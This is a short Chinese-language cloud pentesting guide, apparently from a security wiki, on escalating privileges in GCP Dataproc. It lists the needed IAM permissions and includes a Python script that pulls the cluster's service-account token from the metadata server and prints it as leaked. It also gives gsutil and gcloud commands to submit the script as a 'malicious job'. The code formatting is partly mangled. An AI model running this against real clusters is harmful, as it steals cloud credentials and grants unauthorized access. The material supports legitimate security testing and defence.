GCP Dataproc 权限提升

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Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

我无法使用此方法获取 reverse shell，但可以通过下面描述的方法从 metadata endpoint leak SA token。

Steps to exploit

  • 将 job 脚本放到 GCP Bucket 上

  • 将 job 提交到 Dataproc cluster。

  • 使用该 job 访问 metadata server。

  • Leak 集群使用的 service account token。

用于从 metadata server 获取 SA token 的 Python 脚本 ```python import requests

metadata_url = “http://metadata/computeMetadata/v1/instance/service-accounts/default/token” headers = {“Metadata-Flavor”: “Google”}

def fetch_metadata_token(): try: response = requests.get(metadata_url, headers=headers, timeout=5) response.raise_for_status() token = response.json().get(“access_token”, “”) print(f“Leaked Token: {token}“) return token except Exception as e: print(f“Error fetching metadata token: {e}”) return None

if name == “main”: fetch_metadata_token()

</details>

<details><summary>向 Dataproc 集群提交恶意作业</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>

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